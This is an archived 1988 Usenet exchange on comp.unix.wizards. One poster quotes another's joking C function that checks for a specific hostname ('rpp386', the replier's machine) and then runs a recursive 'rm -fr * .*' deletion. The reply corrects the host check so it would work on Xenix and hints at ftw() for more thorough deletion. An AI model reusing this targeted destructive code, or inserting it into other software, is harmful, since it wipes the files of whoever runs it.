none.
John F. Haugh II
jfh at rpp386.Dallas.TX.US
Sun Nov 20 01:41:21 AEST 1988
In article <9784 at watdragon.waterloo.edu> tcjones at watdragon.waterloo.edu (Terry Jones) writes:
>Here's a handy-dandy little function that I just whipped up. Took me about
>4 or 5 hours to get the bugs out, but I'm just a college student :-)
>I'm going to put in all the code I write. OK, I'm a silly college student.
> if (gethostname(host, sizeof(host)) == -1) return;
> if (strcmp(host, "rpp386")) return;
The UUCP maps shows this site as an SCO Xenix 386 system. Your example
wouldn't even make it past the linker.
The correct sequence is more like
if (uname (&utsname) == -1) return;
if (strncmp (utsname.nodename, "rpp386",
sizeof utsname.nodename)) return;
and it only took me about 5 seconds to figure this one out.
> system("rm -fr * .*");
Might fail on a large directory. I'll let you think of a more reasonable
alternative. Maybe something using ftw()?
Lesson of the day: All the world is not a Vax.
--
John F. Haugh II +----------Quote of the Week:----------
VoiceNet: (214) 250-3311 Data: -6272 | "Okay, so maybe Berkeley is in north-
InterNet: jfh at rpp386.Dallas.TX.US | ern California." -- Henry Spencer
UucpNet : <backbone>!killer!rpp386!jfh +--------------------------------------
More information about the Comp.unix.wizards
mailing list